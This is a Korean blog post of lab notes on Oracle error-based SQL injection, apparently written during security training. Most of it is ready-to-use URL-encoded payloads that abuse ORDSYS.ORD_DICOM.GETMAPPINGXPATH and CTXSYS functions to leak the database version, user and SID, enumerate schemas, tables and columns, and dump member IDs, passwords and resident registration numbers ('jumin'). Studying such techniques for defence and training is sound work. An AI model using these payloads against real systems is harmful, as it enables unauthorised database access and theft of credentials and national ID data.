Oh! JUN

ORACLE ERROR-BASED 공격 실습 본문

웹 해킹/SQL Injection

ORACLE ERROR-BASED 공격 실습

Kwon Oh! JUN 2022. 8. 23. 18:15

※ 공격 가능한 패키지 

ORDSYS.ORD_DICOM.GETMAPPINGXPATH('crehacktive')
CTXSYS.DRITHSX.SN(1,'crehacktive')
CTXSYS.CTX_QUERY.CHK_XPATH('crehacktive',1)

ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+banner+from+v$version+where+rownum=1))

 

 

CTXSYS.CTX_QUERY.CHK_XPATH((select+banner+from+v$version+where+rownum=1),1)

 

 

CTXSYS.CTX_QUERY.CHK_XPATH((select+banner+from+v$version+where+rownum=1),1)


 

1. 기본 정보 목록화 => 버전, 사용자, SID(현재 사용자)
버전 : select banner from v$version where rownum=1
사용자 : select user from dual
SID : select global_name from global_name

 

ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+banner+from+v$version+where+rownum=1))

- 버전정보

 

ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+user+from+dual))

- 사용자 정보

 

 

ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+global_name+from+global_name))

- 현재 사용자(SID)


2. 메타 데이터 목록화
1) 순차적 접근 : 사용자 => 테이블 => 컬럼

 

사용자 => all_user(전체 사용자) x
목록화 하기 위해서는 접근 가능한 사용자를 사용해야한다.
select distinct owner from all_tables

순차적 레코드 출력 => rownum (가상컬럼)
select [column] from (select rownum r, [column] from [table])a where a.r=N
select owner from (select rownum r, distinct owner from all_tables)a where a.r=1

★ rownum과 distinct 동시 사용 불가 x
select owner from(select rownum r, owner from (select distinct owner from all_tables)a)b where b.r=1

 

(select distinct owner from all_tables)a

- all_tables에서 owner 열의 중복을 제거하고 조회

- (select distinct owner from all_tables)을 a로 별칭

 

(select rownum r, owner from (select distinct owner from all_tables)a)b

- 중복 제거한 owner 열에서 rownum 일괄순서를 매핑해서 r과 owner 조회

- (select rownum r, owner from (select distinct owner from all_tables)a)을 b로 별칭

 

 

select owner from(select rownum r, owner from (select distinct owner from all_tables)a)b where b.r=1

- b쿼리에서 r=1 대입하면 r이 1인 행을 조회

 

 

 


1-1) DB(사용자) 목록화

ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+count(*)+from+(select+distinct+owner+from+all_tables)))

- all_tables에서 owner(사용자, DB) 중복 값을 제거하고 남은 개수

 

ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+owner+from+(select+rownum+r,+owner+from+(select+distinct+owner+from+all_tables))a+where+a.r%3d1))


1-2) 테이블 목록화

ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+count(*)+from+all_tables+where+owner='C%23%23CREHACKTIVE'))

- all_tables에서 owner가 'C##CREHACKTIVE'인 개수('C##CREHACKTIVE'의 테이블 개수)

 

 

ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+table_name+from+(select+rownum+r,+table_name+from+all_tables+where+owner='C%23%23CREHACKTIVE')s+where+s.r=1))

- all_tables에서 owner가 'C##CREHACKTIVE'인 1행

 

 

1-3) 컬럼 목록화

ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+count(*)+from+all_tab_columns+where+owner='C%23%23CREHACKTIVE'+and+table_name='MEMBERS'))

all_tables에서 owner가 'C##CREHACKTIVE'인 컬럼의 개수

 

ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+column_name+from+(select+rownum+r,+column_name+from+all_tab_columns+where+owner='C%23%23CREHACKTIVE'+and+table_name='MEMBERS')s+where+s.r=1))

- 컬럼의 첫번째 행

 

 

 

1-4) 데이터 목록화

ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+count(*)+from+C%23%23CREHACKTIVE.MEMBERS))

- 사용자(DB)가 C##CREHACKTIVE이고, 테이블이 MEMBERS인 데이터 개수

 

ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+idx||'%23%23%23'||+id+||'%23%23%23'||password||'%23%23%23'||jumin+from+(select+rownum+r,+idx,+id,+password,+jumin+from+C%23%23CREHACKTIVE.MEMBERS)s+where+s.r=1))

- MEMBERS의 데이터의 1행

- idx, id, password, jumin이 한줄로 출력되니까 구분하기 위해서 사이에 '###'을 넣어서 구분


1) 비순차적 접근 : 특정 데이터

ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+table_name+from+all_tables+where+owner='C%23%23CREHACKTIVE'+and+table_name+like+'%MEM%'))

- 'MEMBERS' 테이블 확인 

 

 

ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+column_name+from+all_tab_columns+where+owner='C%23%23CREHACKTIVE'+and+table_name='MEMBERS'+and+column_name+like+'%JUMIN%'))

- 'JUMIN' 컬럼 확인